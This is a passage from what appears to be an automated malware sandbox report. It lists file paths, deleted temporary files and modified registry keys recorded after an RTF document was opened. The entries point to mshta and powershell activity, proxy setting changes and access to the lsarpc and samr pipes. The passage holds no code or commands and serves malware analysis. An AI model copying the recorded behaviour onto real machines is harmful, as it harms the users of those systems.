  1166. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFCAA.tmp\\Content.inf",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF91B.tmp\\Content.inf",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFDA6.tmp\\ThemePictureAccent.glox",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE24.tmp\\iso690nmerical.xsl",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFDA6.tmp\\Content.inf",
  1172. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE24.tmp\\Content.inf",
  1174. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox",
  1175. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219[[fn=gostname]].xsl",
  1176. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox",
  1177. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox",
  1178. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223[[fn=iso690]].xsl",
  1179. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx",
  1180. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx",
  1181. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224[[fn=iso690nmerical]].xsl",
  1182. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx",
  1183. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx",
  1184. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1E0.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD132.tmp\\content.inf",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DF.tmp\\content.inf",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD132.tmp\\Damask.thmx",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DF.tmp\\Main_Event.thmx",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD358.tmp\\Insight design set.dotx",
  1191. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD358.tmp\\Content.inf",
  1193. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx",
  1194. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159[[fn=Insight]].dotx",
  1195. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1196. "C:\\Windows\\sysnative\\LogFiles\\Scm\\2ce1541b-c7b1-4ba0-8974-722d18a3c54d",
  1197. "C:\\Windows\\sysnative\\LogFiles\\Scm\\4963ad21-c4a5-42a5-b9bd-e441d57204fe",
  1198. "C:\\Windows\\sysnative\\LogFiles\\Scm\\7bbc503c-5977-4798-a4ae-61483a7e030d",
  1199. "C:\\Windows\\sysnative\\LogFiles\\Scm\\4cbf3d1d-5feb-4971-b977-59608b4dcace",
  1200. "C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat",
  1201. "C:\\Windows\\appcompat\\Programs\\RecentFileCache.bcf",
  1202. "\\Device\\LanmanDatagramReceiver",
  1203. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MP Scheduled Scan",
  1204. "C:\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb",
  1205. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edb.chk",
  1206. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERA6F1.tmp.appcompat.txt",
  1207. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAACA.tmp.WERInternalMetadata.xml",
  1208. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAB48.tmp.hdmp",
  1209. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERBA4D.tmp.mdmp",
  1210. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\\WERA6F1.tmp.appcompat.txt",
  1211. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\\WERAACA.tmp.WERInternalMetadata.xml",
  1212. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\\WERAB48.tmp.hdmp",
  1213. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\\WERBA4D.tmp.mdmp",
  1214. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\\Report.wer",
  1215. "\\??\\PIPE\\lsarpc",
  1216. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\\Report.wer.tmp",
  1217. "\\??\\WMIDataDevice",
  1218. "\\??\\PIPE\\samr",
  1219. "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
  1220. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
  1221. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
  1222. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
  1223. "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
  1224. "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
  1225. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
  1226. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM"
  1227. ]
  1228.  
  1229. [*] Deleted Files: [
  1230. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\HYPMSE32K7HD53MNH2RL.temp",
  1231. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.812.23123125",
  1232. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.812.23123125",
  1233. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.812.23123125",
  1234. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\0AZ1JVPK4OC76C63WTNN.temp",
  1235. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.2980.23126078",
  1236. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.2980.23126078",
  1237. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.2980.23126078",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\CVRB264.tmp",
  1239. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Office\\Recent\\fky.rtf.LNK",
  1240. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\CabBFF2.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TarBFF3.tmp",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF7F.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDEBC.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE85.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEBD.tmp",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE31.tmp",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE99.tmp",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE33.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE86.tmp",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03C.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03D.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE32.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDE46.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDECF.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF7F.tmp\\CircleProcess.glox",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEAB.tmp",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0CB.tmp",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0FA.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE34.tmp",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE12B.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDEA9.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE15B.tmp",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE17B.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1AB.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1BD.tmp",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FC.tmp",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FD.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE20F.tmp",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE23F.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDE97.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE25F.tmp",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEE1.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\CabDED0.tmp",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34B.tmp",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34C.tmp",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE37B.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE3BB.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDEAA.tmp",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE40A.tmp",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE4B7.tmp",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\TarDED1.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD788.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE517.tmp",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A6.tmp",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A7.tmp",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C9.tmp",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5CA.tmp",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5DA.tmp",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE639.tmp",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03D.tmp\\chicago.xsl",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE63A.tmp",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD546.tmp",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE03C.tmp\\sist02.xsl",
  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0CB.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1297. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD559.tmp",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE84F.tmp",
  1300. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD5A8.tmp",
  1301. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE25F.tmp\\ieee2006officeonline.xsl",
  1302. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD9E3.tmp",
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE20F.tmp\\ConvergingText.glox",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5CA.tmp\\pictureorgchart.glox",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FD.tmp\\APASixthEditionOfficeOnline.xsl",
  1306. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD544.tmp",
  1307. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1BD.tmp\\Parallax.thmx",
  1308. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDC58.tmp",
  1309. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDCB7.tmp",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED52.tmp",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34B.tmp\\turabian.xsl",
  1312. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE45.tmp",
  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE37B.tmp\\TabbedArc.glox",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE23F.tmp\\Savon.thmx",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C9.tmp\\Metropolitan.thmx",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE517.tmp\\PictureFrame.glox",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEEDA.tmp",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1FC.tmp\\Crop.thmx",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE40A.tmp\\VaryingWidthList.glox",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE12B.tmp\\Badge.thmx",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD768.tmp",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD895.tmp",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDAC0.tmp",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8D6.tmp",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE15B.tmp\\Headlines.thmx",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A6.tmp\\Dividend.thmx",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD688.tmp",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE4B7.tmp\\Berlin.thmx",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE98.tmp",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE639.tmp\\View.thmx",
  1331. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDF01.tmp",
  1332. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5A7.tmp\\Banded.thmx",
  1333. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE20.tmp",
  1334. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF1C9.tmp",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp\\gosttitle.xsl",
  1336. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE20E.tmp",
  1337. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE1AC.tmp",
  1338. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE0FA.tmp\\HexagonRadial.glox",
  1339. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8E6.tmp",
  1340. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD9D3.tmp",
  1341. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE17B.tmp\\Basis.thmx",
  1342. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE34C.tmp\\rings.glox",
  1343. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD875.tmp",
  1344. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD466.tmp",
  1345. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF332.tmp",
  1346. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDD06.tmp",
  1347. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE3BB.tmp\\Frame.thmx",
  1348. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD845.tmp",
  1349. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE63A.tmp\\Element design set.dotx",
  1350. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE10B.tmp",
  1351. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF40E.tmp",
  1352. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5DA.tmp\\Quotable.thmx",
  1353. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED52.tmp\\harvardanglia2008officeonline.xsl",
  1354. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD668.tmp",
  1355. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDA61.tmp",
  1356. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD767.tmp",
  1357. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F5.tmp",
  1358. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF1C9.tmp\\gb.xsl",
  1359. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD983.tmp",
  1360. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF75D.tmp",
  1361. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE1AB.tmp\\ThemePictureAlternatingAccent.glox",
  1362. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD6E8.tmp",
  1363. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF77D.tmp",
  1364. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7BD.tmp",
  1365. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEEDA.tmp\\mlaseventheditionofficeonline.xsl",
  1366. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF82B.tmp",
  1367. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF83C.tmp",
  1368. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF85C.tmp",
  1369. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDB1F.tmp",
  1370. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF86D.tmp",
  1371. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF88D.tmp",
  1372. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE84F.tmp\\InterconnectedBlockProcess.glox",
  1373. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF91B.tmp",
  1374. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F5.tmp\\chevronaccent.glox",
  1375. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF75D.tmp\\ThemePictureGrid.glox",
  1376. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7BD.tmp\\architecture.glox",
  1377. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD6A9.tmp",
  1378. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA65.tmp",
  1379. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA85.tmp",
  1380. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD5F7.tmp",
  1381. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD646.tmp",
  1382. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF40E.tmp\\Wood_Type.thmx",
  1383. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFBDE.tmp",
  1384. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFCAA.tmp",
  1385. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF82B.tmp\\Equations.dotx",
  1386. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF85C.tmp\\Circuit.thmx",
  1387. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD545.tmp",
  1388. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFDA6.tmp",
  1389. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE6B8.tmp",
  1390. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE24.tmp",
  1391. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFDA6.tmp\\ThemePictureAccent.glox",
  1392. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA85.tmp\\RadialPictureList.glox",
  1393. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD747.tmp",
  1394. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD667.tmp",
  1395. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF86D.tmp\\gostname.xsl",
  1396. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFCAA.tmp\\BracketList.glox",
  1397. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFBDE.tmp\\TabList.glox",
  1398. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4A6.tmp",
  1399. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA65.tmp\\iso690.xsl",
  1400. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD657.tmp",
  1401. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8C5.tmp",
  1402. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF332.tmp\\Vapor_Trail.thmx",
  1403. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD558.tmp",
  1404. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF88D.tmp\\Droplet.thmx",
  1405. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE24.tmp\\iso690nmerical.xsl",
  1406. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF77D.tmp\\Mesh.thmx",
  1407. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF83C.tmp\\Slate.thmx",
  1408. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE557.tmp",
  1409. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF91B.tmp\\Feathered.thmx",
  1410. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD132.tmp",
  1411. "C:\\Users\\user\\AppData\\Local\\Temp\\cabEAF0.tmp",
  1412. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DF.tmp",
  1413. "C:\\Users\\user\\AppData\\Local\\Temp\\cabF47D.tmp",
  1414. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE547.tmp",
  1415. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD557.tmp",
  1416. "C:\\Users\\user\\AppData\\Local\\Temp\\cabF303.tmp",
  1417. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD358.tmp",
  1418. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD1DF.tmp\\Main_Event.thmx",
  1419. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD132.tmp\\Damask.thmx",
  1420. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD358.tmp\\Insight design set.dotx",
  1421. "C:\\Users\\user\\AppData\\Local\\Temp\\cabFCCA.tmp",
  1422. "C:\\Users\\user\\AppData\\Local\\Temp\\cabF8AD.tmp",
  1423. "C:\\Users\\user\\AppData\\Local\\Temp\\cab1E0.tmp",
  1424. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MpIdleTask",
  1425. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MP Scheduled Scan",
  1426. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edbtmp.log",
  1427. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERA6F1.tmp",
  1428. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERA6F1.tmp.appcompat.txt",
  1429. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAACA.tmp",
  1430. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAACA.tmp.WERInternalMetadata.xml",
  1431. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAB48.tmp",
  1432. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAB48.tmp.hdmp",
  1433. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERBA4D.tmp",
  1434. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERBA4D.tmp.mdmp",
  1435. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_098a2904\\Report.wer.tmp"
  1436. ]
  1437.  
  1438. [*] Modified Registry Keys: [
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
  1441. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1442. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\mshta_RASAPI32",
  1443. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\mshta_RASAPI32\\EnableFileTracing",
  1444. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\mshta_RASAPI32\\EnableConsoleTracing",
  1445. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\mshta_RASAPI32\\FileTracingMask",
  1446. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\mshta_RASAPI32\\ConsoleTracingMask",
  1447. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\mshta_RASAPI32\\MaxFileSize",
  1448. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\mshta_RASAPI32\\FileDirectory",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings",
  1452. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\powershell_RASAPI32",
  1453. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableFileTracing",
  1454. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableConsoleTracing",
  1455. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\FileTracingMask",
  1456. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\ConsoleTracingMask",
  1457. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\MaxFileSize",
